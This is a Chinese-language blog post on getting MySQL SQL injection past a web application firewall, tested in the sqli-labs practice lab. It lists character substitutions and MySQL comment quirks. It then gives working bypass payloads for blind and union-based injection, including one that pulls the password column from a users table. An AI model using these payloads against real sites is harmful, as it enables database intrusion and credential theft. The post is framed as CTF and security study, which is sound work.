SQL注入之BypassWaf

栏目: 数据库 · 发布时间: 5年前

内容简介:无论是在CTF比赛中还是在现实项目中,都会遇到各种各样的waf,没有绝对安全的系统,仔细的研究总会发现被“漏掉”的地方。最近在研究过waf的技巧,期间还是很有趣的,在这里与大家分享一下,仅个人见解,哪里写的不好欢迎各位师傅斧正!本文只研究MySQL数据库,其余有机会在分享。

SQL注入之BypassWaf

0x00 前言

无论是在CTF比赛中还是在现实项目中,都会遇到各种各样的waf,没有绝对安全的系统,仔细的研究总会发现被“漏掉”的地方。

最近在研究过waf的技巧,期间还是很有趣的,在这里与大家分享一下,仅个人见解,哪里写的不好欢迎各位师傅斧正!本文只研究 MySQL 数据库,其余有机会在分享。

sqli-labs

某常见最新版免费防护软件(仅作研究用)

windows2008+phpstudy

0x01 等价字符

空格:%20,+,(),%0a,%09,%a0,%0b,%0c,%0d,/**/等

=:like,regexp,liker,<>,!=等 (一般ctf中常见)

and:&&

or: xor,&,^,||(and或or可以相互替换,只是两边条件不同)

逗号:盲注中 from 1 for 1,联合查询中 A join B。

关于替换字符自行fuzz尝试,方法还有很多。

0x02 MySQL的特性

有必要了解一些MySQL的特性,这样有助于绕过waf的规则。

=,:=,@

MySQL中“=”为等于的意思,只有在update set时为赋值的意思。

“:=”为赋值的意思。

在MySQL中变量不需要定义,利用@+变量名可直接调用。

SQL注入之BypassWaf

在MySQL中可以使用的注释符有:

/**/ 可用于多行注释。

–(我是空格),#。

但是在MySQL中有一个独有的特性就是注释符中叹号后面的内容仍可以解析,比如/*!and*/,并且叹号后面的数字小于或等于MySQL版本号的话同样会解析。

SQL注入之BypassWaf

在MySQL中换行后内容会继续执行

SQL注入之BypassWaf

MySQL的隐式类型转换

先看两个示例,应该就很容易明白了。

SQL注入之BypassWaf

你懂我意思吧:)

绕waf的一些想法

前面的铺垫做完了,接下来实现一些想法。

判断注入点

SQL注入之BypassWaf

经测试:

and //不拦截
and a //不拦截
and !//不拦截
and 1 //拦截

可以发现,当and连接数字时waf会进行拦截,因此只需要在数字或者and与数字中间进行干扰即可。

and /*!1=1*/
and--+a%0a1/*!=*/1
and @s1ye:=1/0

SQL注入之BypassWaf

注入点确定后,分别测试一下盲注与联合查询注入。

利用MySQL变量进行盲注

在圈子看到一篇盲注的payload总结,感觉还是有些麻烦了。可以利用 @x :=来构造一个简单的payload:

and @s1ye:=length(database/**/())

SQL注入之BypassWaf

其他payload可以利用 注释符—+加任意干扰字符加换行符%0a来进行绕过。主要的思路就是利用参数污染来干扰waf的规则。

利用MySQL的隐式类型转换进行盲注

简单说一下:

select * from test where id = '1'-(length(database())>0)+'1';
即 id= 1-1+1

SQL注入之BypassWaf

联合查询注入

union //不拦截
select //不拦截
union select //拦截

当waf拦截了哪种组合,利用注释加换行即可,效果如下所示,发现可以正常执行。

SQL注入之BypassWaf

payload:
-1' union--+x%0aselect 1,2,3--+

接下来读取数据库数据

-1' union--+x%0aselect 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()--+

发现被拦截,fuzz发现waf会过滤掉函数,以及group_concat(table_name) from,这里去掉from前的空格,database()=>database () 或 database/**/()。

SQL注入之BypassWaf

这里也可以利用database()的0x16进制。

读取用户名密码

union--x%0aselect 1,2,group_concat(password)from users

/*/配合注释符/**/有奇效,可自行测试。

以下为整理的waf中可用的系统变量及函数:

@@version/**/
user/**/()
database/**/()
/**/@@version_compile_os

系统变量的注释符放在前后都可。

总结

对于绕waf,我的理解为,多了解一些数据库的特性,一些不常见小的技巧、函数等,分析waf的规则,在MySQL命令行中fuzz即可,waf规则总有漏网之鱼。

最后,文章只是记录自己学习的过程,有些payload不是很完善,仅仅是一些想法分享。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

参与感

参与感

黎万强 / 中信出版社 / 2014-8 / 56.00元

◆雷军亲笔作序,小米联合创始人黎万强著。 ◆揭开小米4年600亿奇迹背后的理念、方法和案例。 ◆了解小米,必读本书! ◆迄今为止关于小米最权威、最透彻、最全面的著作! ◆新一代营销圣经。 ◆2014年最重磅图书! ◆再掀企业界全民学习小米热潮! ◆引爆出版界、财经界、IT界、科技界大震荡的“现象级热书”! ◆全书四色印刷,包含46张海报级插图。 ......一起来看看 《参与感》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具